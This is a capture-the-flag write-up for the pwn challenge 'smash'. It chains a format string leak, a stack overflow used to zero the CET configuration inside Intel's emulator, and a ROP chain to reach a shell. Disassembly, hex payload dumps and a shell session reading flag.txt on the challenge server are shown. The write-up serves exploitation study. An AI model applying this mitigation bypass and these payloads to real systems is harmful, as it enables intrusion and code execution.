# smash (pwn 388p, 9 solved)
1. Leak locations of libc and stack by exploiting the format string vulnerability
2. Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow
3. Execute shell with ROP sequence from the stack buffer overflow
In the task we get:
* [64-bit Linux executable](smash) of the server application,
* libc shared library,
* "Software Development Emulator" from Intel that reports version "8.56.0 external" and
* the following loader script:
cd `dirname $0`
echo "Now loading..."
env -i ./sde/sde64 -no-follow-child -cet -cet_output_file /dev/null -- ./smash
The server application includes two vulnerabilities that are easy to spot.
The first vulnerability is that unsanitized user input is passed as the format parameter when calling `__dprintf_chk` at 0x126B:
.text:122C lea rsi, aInputName ; "Input name > "
.text:1233 mov edi, 1
.text:1238 mov eax, 0
.text:123D call dprintf@plt
.text:1242 mov esi, 20h ; read_size
.text:1247 mov edi, 0 ; buffer
.text:124C call sub_12E7 ; read string
.text:1251 mov [rbp+user_input], rax
.text:1255 mov rax, [rbp+user_input]
.text:1259 mov rdx, rax ; format
.text:125C mov esi, 1
.text:1261 mov edi, 1
.text:1266 mov eax, 0
.text:126B call __dprintf_chk@plt
An attacker could exploit this format string vulnerability to leak content of the application stack.
The second vulnerability is that subroutine `sub_12E7` allocates stack buffer of insufficient size when called at 0x1290 and 0x12C9:
.text:1286 mov esi, 38h ; read_size
.text:128B mov edi, 0 ; buffer
.text:1290 call sub_12E7 ; read string
.text:1295 mov [rbp+user_input], rax
.text:1299 mov rax, [rbp+user_input]
.text:129D movzx eax, byte ptr [rax]
.text:12A0 or eax, 20h
.text:12A3 cmp al, 'y'
.text:12A5 jnz short l_message_done
.text:12A7 lea rsi, aInputMessage ; "\nInput message > "
.text:12AE mov edi, 1
.text:12B3 mov eax, 0
.text:12B8 call dprintf@plt
.text:12BD mov rax, [rbp+user_input]
.text:12C1 mov esi, 38h ; read_size
.text:12C6 mov rdi, rax ; buffer
.text:12C9 call sub_12E7 ; read string
An attacker could exploit this stack buffer overflow vulnerability to overwrite the saved `rbp` and the return address.
However any attempts to change the return address via the stack buffer overflow vulnerability are unsuccessful.
This is because of the CET mitigation that protects integrity of the return addresses.
The protection is implemented as Intel processor feature using a dedicated shadow stack to record just the return addresses.
When executing "call" instruction, the processor pushes the return address on both the normal application stack and the shadow stack.
On "ret" instruction, values from both stacks are compared to detect any unexpected changes.
The challenge uses software to emulate CET feature, so we decided to check the internals of the emulator.
In particular we focused on checking how "Software Development Emulator" tracks the CET state in memory.
When reverse engineering, we started with the strings used for printing CET configuration and quickly identified the relevant data structure.
We learned that changing a few bits would be sufficient to disable CET in the emulator.
We also checked that even if the relevant data structure is located in the emulator heap, its offset from libc remains constant across runs.
Our [exploit](exploit.py) works as follows.
### Step 1: Leak locations of libc and stack by exploiting the format string vulnerability
This is required for the two steps that follow.
### Step 2: Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow
In order to disable CET in the emulator we need to reset relevant field of CET configuration block.
The targeted data structure is located at fixed distance from libc.
We use a primitive to write zero bit at arbitrary address to perform this action.
For this we exploit the stack buffer overflow vulnerability in subroutine `sub_12E7` called at 0x1290, overwriting the saved `rbp` value before it is used later as the frame pointer at 0x1295.
This overwrites arbitrary memory location with an address of heap buffer.
Using the least significant bits of the heap pointer is sufficient as these are always zero.
### Step 3: Execute shell with ROP sequence from the stack buffer overflow
CET is disabled at this point and we are free to use any gadget to construct ROP chain here.
[+] Opening connection to pwn01.chal.ctf.westerns.tokyo on port 29246: Done
[DEBUG] Received 0xf bytes:
[*] Step 1: Leak locations of libc and stack by exploiting the format string vulnerability...
[DEBUG] Received 0xd bytes:
b'Input name > '
[DEBUG] Sent 0x1b bytes:
[DEBUG] Received 0x6a bytes:
[DEBUG] Received 0xb bytes:
b'OK? [y/n] '
[*] stack_va = 7ffd22f0b010
[*] libc_start_main_va = 7fc48f3c50b3
[*] libc_va = 7fc48f39e000
[*] Step 2: Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow...
[*] target_va = 7fc5a3e14f90
[DEBUG] Sent 0x37 bytes:
00000000 79 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │yAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000030 98 4f e1 a3 c5 7f 00 │·O··│···│
[*] Step 3: Execute shell with ROP sequence from the stack buffer overflow...
[DEBUG] Received 0x11 bytes:
b'Input message > '
[DEBUG] Sent 0x37 bytes:
00000000 e0 fe 4d 8f c4 7f 00 00 e1 fe 4d 8f c4 7f 00 00 │··M·│····│··M·│····│
00000010 e6 4c 48 8f c4 7f 00 00 42 42 42 42 42 42 42 42 │·LH·│····│BBBB│BBBB│
00000020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
00000030 a8 af f0 22 fd 7f 00 │···"│···│
[DEBUG] Received 0x6 bytes:
[*] Switching to interactive mode
$ ls -la
drwxr-x--- 3 root smash 4096 Sep 20 03:46 .
drwxr-xr-x 11 root root 4096 Sep 21 10:04 ..
-rw-r----- 1 root smash 43 Sep 20 03:42 flag.txt
-rwxr-x--- 1 root smash 128 Sep 20 03:42 run.sh
drwxr-xr-x 4 root smash 4096 Sep 12 14:44 sde
-rw-r----- 1 root smash 8826053 Sep 20 03:42 sde.tgz
-rwxr-x--- 1 root smash 14464 Sep 20 03:42 smash
$ cat flag.txt